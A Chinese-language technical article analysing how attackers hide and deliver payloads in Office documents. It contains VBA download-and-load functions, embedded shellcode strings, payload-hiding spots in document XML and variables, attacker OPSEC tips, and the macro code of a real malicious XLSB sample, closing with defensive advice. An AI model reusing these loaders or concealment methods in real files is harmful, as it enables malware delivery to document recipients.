传统Office结构下的后门和利用手段解析
字数 975 2025-08-22 12:23:06
Office文档恶意代码植入技术解析
前言
本文深入解析攻击者利用Office文档传递恶意代码的各种技术手段,包括分阶段和无阶段的实现方式,以及如何在OpenXML结构中隐藏恶意负载。这些技术虽然基础,但在实际攻击中仍被广泛使用。
典型payload传输策略
1. 从网络获取payload(分阶段)
优点:灵活可控,可随时更换payload
缺点:网络请求易被检测
实现方式:
Microsoft.XMLHTTP方法:
Function obf_DownloadFromURL(ByVal obf_URL As String) As String
On Error GoTo obf_ProcError
With CreateObject("Microsoft.XMLHTTP")
.Open "GET", obf_URL, False
.setRequestHeader "User-Agent", "<<<USER_AGENT>>>"
.setRequestHeader "Accept-Encoding", "gzip, deflate"
.setRequestHeader "Cache-Control", "private, no-store, max-age=0"
.Send
If .Status = 200 Then
obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
Exit Function
End If
End With
obf_ProcError:
obf_DownloadFromURL = ""
End Function
InternetExplorer.Application方法:
Function obf_DownloadFromURL(ByVal obf_URL As String) As String
On Error GoTo obf_ProcError
With CreateObject("InternetExplorer.Application")
.Visible = False
.Navigate obf_URL
While .ReadyState <> 4 Or .Busy
DoEvents
Wend
obf_DownloadFromURL = StrConv(.ie.Document.Body.innerText, vbUnicode)
Exit Function
End With
obf_ProcError:
obf_DownloadFromURL = ""
End Function
2. 直接在VBA中嵌入恶意数据(无阶段)
实现方式:
Private Function obf_ShellcodeFunc81() As String
Dim obf_ShellcodeVar80 As String
obf_ShellcodeVar80 = obf_ShellcodeVar80 & "800EK+3YvPe6wFO6tCVI91lg2Bi3ae8DNtlWbCczAi+XnmipCn3kRpi2js7bNntB0TC/qn2WiYP275Z9"
obf_ShellcodeVar80 = obf_ShellcodeVar80 & "HVkgI4GH7dOACixe7W5qjTL8HIzH6mYubKWDgvlbe72MfmkGUJKquPm+Ap5bRxceDpUag64Z3HccyfYM"
'...更多拼接代码...
obf_ShellcodeFunc81 = obf_ShellcodeVar80
End Function
VBA限制:
- 单行代码不超过128个字符
- 单个函数/子例程不超过128行
缺点:代码特征明显,易被检测
文档结构中隐藏payload的技术
1. 文档属性隐藏
位置:docProps/core.xml和docProps/app.xml
示例:
<dc:subject>calc.exe</dc:subject>
<dc:creator>test</dc:creator>
OPSEC注意事项:
- 清除core.xml和app.xml中的元数据
- 避免留下制作者信息
2. Office表单控件隐藏
实现方式:
- 将payload存储在表单控件中
- 执行时动态提取
检测:工具如olevba可轻易识别
3. ActiveDocument段落和工作表隐藏
Word实现:
' 遍历段落提取payload
For Each para In ActiveDocument.Paragraphs
' 处理文本范围
Next
Excel实现:
ThisWorkbook.Sheets("Sheet1").Range("A1") = "evil"
XML结构:
<w:t>7E69A3333033333337333333CCCC33338B33333333333333733333333333333333333333333333333333333333333333333333333333333333333333B33333333D2C893D33873AFE128B327FFE12675B5A401343415C5441525E1350525D5D5C471351561341465D135A5D13777C60135E5C57561D3E3E391733333333333333637633337F323133DB8A40643333333333333333D3333C323832310133CD3333337D333333333333FCCC33333323333333233233333373333323333333313333373333333333333337333333333333333353323333313333342D3133313333333333233333233333333323333323333333333333233333333333333333333333837E323387333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333</w:t>
4. Word变量隐藏
实现方式:
' 存储变量
ActiveDocument.Variables.Add Name:="varName", Value:="payload"
' 读取变量
Function obf_GetWordVariable(ByVal obf_name) As String
On Error GoTo obf_ProcError
obf_GetWordVariable = ActiveDocument.Variables(obf_name).Value
obf_ProcError:
obf_GetWordVariable = ""
End Function
XML结构:
<w:docVars>
<w:docVar w:name="varName" w:val="......" />
</w:docVars>
实际样本分析
样本哈希:b1df072eba923c472e461200b35823fde7f8e640bfb468ff5ac707369a2fa35e
攻击流程:
- XLSB文件包含恶意宏代码
- 从工作表单元格获取payload
- 拼接字符串并执行Shell命令
- 下载第二阶段payload(伪装为JPG)
- 解码执行第三阶段payload
- 最终与C2服务器通信
关键代码:
Private Sub Workbook_Open()
Dim g5 As String, g6 As String
g5 = Cells(2, 7)
g6 = Cells(3, 7)
lyDdMyWVp = wJmdrV(g5, g6)
End Sub
Function wJmdrV(eeeew As String, ifgkdfg As String)
Dim DGjG() As Variant
ReDim DGjG(4)
DGjG(0) = "p" + ifgkdfg
DGjG(1) = "ping google.com;" + eeeew
'...其他参数...
Set sSVno = CreateObject("Shell.Application")
zsEd = CallByName(sSVno, "ShellExecute", VbMethod, DGjG(0), DGjG(1), DGjG(2), DGjG(3), DGjG(4))
End Function
防御建议
- 禁用Office宏执行
- 使用高级威胁防护工具检测异常文档行为
- 定期检查文档元数据和隐藏内容
- 对下载的Office文档实施沙箱分析
- 培训用户识别可疑文档特征
总结
本文详细解析了Office文档中隐藏和传递恶意代码的多种技术,包括网络下载、VBA嵌入以及利用文档结构隐藏payload的方法。虽然这些技术大多已被安全工具检测,但理解其原理对于防御新型变种攻击至关重要。